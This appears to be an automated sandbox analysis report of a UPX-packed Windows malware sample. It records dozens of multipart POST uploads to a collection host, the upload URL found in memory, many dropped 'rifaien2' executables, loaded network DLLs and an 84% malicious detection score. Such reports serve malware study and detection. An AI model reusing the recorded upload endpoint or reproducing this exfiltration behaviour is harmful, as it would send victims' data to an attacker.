Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------220a91bd4275ff8f
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------10987f3dba7b8ba2
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------54d6701390f1359e
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------9e44483e83578f98
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------e862cfc74b2d837a
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------5ab0a0a9fdf3feb7
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------28ae5d406d29d5dd
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------71dc45c1864fe54a
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------21ba93eab2e59036
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------cfc8a2e1386ba0d3
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------9f8686089861a424
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------20747c28f04719ea
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------2e12553f599da4b1
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------cfe097e049e3bfdc
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------195ea7def299d14e
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------0a0c92b3a13fa1ff
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------6d6a26ee1f55d493
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------baf8ca8c125bc2d7
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------f636d0fd5bd1b2b3
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------8ea40c4e793780ea
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------3fc2adabe40d23c0
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------f110703771d3b163
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------960e2df1b40955a4
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------0e3c9113582fc869
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------051a453587c5d1db
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------d2280a20484b2b3d
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------58e6070edb4102f1
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------e8d4e7c41e278816
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------1d7255d7ea7d95bf
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------be4076f175c3cfbc
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------9ebeedf5b179b265
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------7e6c9f54ab1f2ce6
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------e8cad9e8ec35c906
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------1558b441da3b1554
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------c7961b1416b16e47
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------2f04685edf1750ac
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------c722134d6ced8385
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------3770501155b39116
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------336efb25eae9a6d8
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------5a9c1eaa9a0ff996
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------187a70f54ca5a6cc
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------84888a50c82bae2c
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------4246ecac0e2175da
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------613482adbc0749ad
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------3cd2a45a6b5dd9a8
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------5ca0265911a3d560
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------541e2d7b6059d205
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------a2cca30724ff9e58
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------942ae704a91573a2
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------1fb8ec72121b0494
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------c8f6f82fc191b291
Source: global traffic	HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: /Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------7f64f605b4f71fd7

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe

Code function: 0_2_0040E460 recv,WSAGetLastError,

0_2_0040E460

Source: global traffic

DNS traffic detected: DNS query: wecan.hasthe.technology

Source: unknown

HTTP traffic detected: POST /upload HTTP/1.1Host: wecan.hasthe.technologyAccept: */*Content-Length: 85412Expect: 100-continueContent-Type: multipart/form-data; boundary=------------------------4e7e7b554839d13b

Source: Yx1Wz608PO.exe, Yx1Wz608PO.exe, 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://curl.haxx.se/docs/http-cookies.html
Source: Yx1Wz608PO.exe	String found in binary or memory: http://curl.haxx.se/docs/http-cookies.html#
Source: rifaien2-VzjNx1jPI8EBAf3Q.exe.0.dr	String found in binary or memory: http://wecan.hasthe.techno
Source: Yx1Wz608PO.exe, 00000000.00000003.2910707806.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmp, Yx1Wz608PO.exe, 00000000.00000002.2936472491.000000000075D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wecan.hasthe.technology/upload
Source: Yx1Wz608PO.exe, 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://wecan.hasthe.technology/uploadcurl_easy_perform()
Source: Yx1Wz608PO.exe, 00000000.00000003.1785668103.000000000080E000.00000004.00000020.00020000.00000000.sdmp, ConDrv.0.dr	String found in binary or memory: https://computernewb.com/collab-vm/
Source: Yx1Wz608PO.exe, 00000000.00000003.1960134896.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1825136115.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1907198978.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1867666082.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1785668103.000000000080E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://computernewb.com/collab-vm/6
Source: Yx1Wz608PO.exe, 00000000.00000003.2910707806.000000000080E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://computernewb.com/collab-vm/=
Source: Yx1Wz608PO.exe, 00000000.00000003.1736593212.000000000080E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://computernewb.com/collab-vm/H
Source: Yx1Wz608PO.exe, 00000000.00000003.1805520266.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1888550938.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1844942781.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1979592108.000000000080E000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1937729048.000000000080E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://computernewb.com/collab-vm/h
Source: Yx1Wz608PO.exe, 00000000.00000003.2910758923.000000000075D000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000003.1697948033.000000000075D000.00000004.00000020.00020000.00000000.sdmp, Yx1Wz608PO.exe, 00000000.00000002.2936472491.000000000075D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://computernewb.com/collab-vm/logy

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Code function: 0_2_00412CBF	0_2_00412CBF
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Code function: 0_2_0041D570	0_2_0041D570
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Code function: 0_2_00407DB5	0_2_00407DB5

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Code function: String function: 004180D5 appears 37 times
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Code function: String function: 0040E249 appears 67 times

Source: Yx1Wz608PO.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: classification engine

Classification label: mal84.winEXE@2/119@1/2

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe

Code function: 0_2_004032F7 GetLastError,strerror,strncpy,strncpy,FormatMessageA,curl_msnprintf,strrchr,strrchr,GetLastError,SetLastError,

0_2_004032F7

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe

File created: C:\Users\user\Desktop\rifaien2-MkDE7nUolYAvIS4K.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7428:120:WilError_03

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Yx1Wz608PO.exe

ReversingLabs: Detection: 84%

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe

File read: C:\Users\user\Desktop\Yx1Wz608PO.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Yx1Wz608PO.exe "C:\Users\user\Desktop\Yx1Wz608PO.exe"
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: Yx1Wz608PO.exe	Static PE information: section name: UPX2
Source: rifaien2-O1lC3PbxC9VoVOC0.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-sz8sEdTvyndgp7Ss.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-WBUGMs1oWatC1b9R.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-Iz6XhHUHigVtubDW.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-ohgyDPAuvT69bY1P.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-nSkjqsOEKHn8zr0H.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-b3ZWCYI3KgQ9GVd3.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-2McOOOA0Nrrao2kH.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-xqnIfi8BvwfeKF7n.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-7tNM8tQoTbkooJnZ.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-hjuuzUmtGWBSTnRJ.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-7c2sZoOt8ZtCld1t.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-FgpAC8WJsCEb80wY.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-9PANsJP5rpGyNZO8.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-QmVIHCjf9VqYQ95N.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-cBftW9zYcUyutts4.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-BtW7KCBSW9z60IjW.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-J68guXWHhSRdzOvX.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-9KCDfoTvJTmqygky.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-4cVt4GKfpP1OEa7u.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-sRruH8z25Svnoo9L.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-pZiVwtzAoHPN50fS.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-P95T1li6WZS69JnD.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-epoE6KTuro0m1xNJ.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-5JMaNQJ1bicgDKr9.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-eei39BxrAlW6aX8E.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-0G3Ju1SgiNMbtyyd.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-yaHGIObEHeHxPiG1.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-tolfs77xPfDJew2m.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-NxxFR5QGAAQFk5K5.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-3Yd5eRNryysSeb1S.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-5nuJmBGqOVTVsVLa.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-MkDE7nUolYAvIS4K.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-I6zVOkc7a2MoLHpC.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-OTSOrmhlpPBxx1z0.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-1u0hu8IxGgzV53b3.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-YQ9gXxkityqTj37o.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-DlmIbpKoNTOiCR62.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-vsxK6NHsLYHm3jak.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-vo3rAgWF4nEMJ6aR.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-ymsS3UBlm6KtwJ4n.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-iW7fhM4FzUmYb7vN.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-SZUDU6LfgbhpapuC.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-OMok4oiMxwrfC1T9.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-j3TM965RhhPaWaoT.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-cR40kHbNSjvP90Vq.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-VJi5bt4v05AnA3zO.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-IUG4zGcbBzvzNdJv.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-ToqId0cmF9KU3PM3.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-BxQHxwmcvdOeGoyr.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-YmUvcvAsSxinM0iL.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-SKNw52t2NOdB7utQ.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-HGWO8ZYntiaZkSsz.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-7bKKZTcwZ1AvB69O.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-6R5WtqjpUktSTdyX.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-vHRnMKXku4QndQxg.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-XK86MMSGqdyh0W5j.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-COs3jWZ0Jp7WCrwG.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-TYDJ5mBBlE7fOmsC.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-sN0y7l8Im6L0ds43.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-lPPuG2RrxVsPwO3X.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-G55U73FCHlQNV6Tv.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-bq6a0w9PvOP4ugLz.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-oe1pzZn0FqkWwHnO.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-2ZT16A8KKoDdHefl.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-r2gYxmdgnH5fh0Tl.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-pjdvkdP0LsUtRXiu.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-i3DqfztkSkxjdOOT.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-dJL9srUqHWxbpcQx.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-pzfLarqkprlSO2uY.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-TcaUQfBZEuTk2vBh.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-wBSYZWWVkUWmC8pQ.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-lT8PohiYenvvawzn.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-d57ykrWvlTZrDkZc.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-xQCbPBaBXuF4MpsD.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-6Q71fxUu8dtMFFZU.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-AjoycwODvDSL5IAO.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-zp2ChanxJl0jb6U5.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-OIzrhQpACDLMrvoU.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-S9mLKeVTibmzm085.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-LRhmhC00EPTolTjv.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-iQ6mR49yFM8ZeZJU.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-04RCQxCd2dv0My0K.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-Yf4NmWwsZ4N1yY95.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-AJCcQtfVrsedwKsZ.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-lb1B7z5W8Hr4HXyC.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-AbJq5JvGluWbFwwZ.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-XzoPd5NlxkpB2Qkz.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-T5UBOmxC86bktOIn.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-0Jvg60acvlNTEetj.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-ifcsZ28RZVEhoCrQ.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-LUEYWSrnqnW64tyL.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-L9Cwe3j2i64ZA5Re.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-dOfNWxhGxDVM5njb.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-6wusbbrgmMpcBTFV.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-96Wr0t4vpAyIwn2t.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-dIQ7PuzulNOWjRao.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-9ZuBld8Y8200Rptx.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-jjtIOSCKSFCJbo5i.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-kcYq3LQT7lYbdaDe.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-nIZ5n5lptzBCBPzM.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-VzjNx1jPI8EBAf3Q.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-E8VR5WWssDiJ6hpJ.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-WbnLg1fQUOoUplSV.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-GswVbQAeth6AirwL.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-A6jVTXjeaWbirx4X.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-3v9iLS8WuKhI5HYt.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-EJnWcEY70jNTCKDa.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-OEkS0r3Z3ATRkGxW.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-kCfzpzzrLEJySBVF.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-A57jwvvBTZZBhtF8.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-mZiov3C61rXFF0QW.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-vRPnVm1Qja67kBU8.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-BGQBJ4RqEFRi5PE5.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-R4CZoQ4QiFrvNxlX.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-SMLg9RViRYG2pkp6.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-ddYzW9sGfJmlWZnw.exe.0.dr	Static PE information: section name: UPX2
Source: rifaien2-zmf4GTpATeIJdXHM.exe.0.dr	Static PE information: section name: UPX2

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
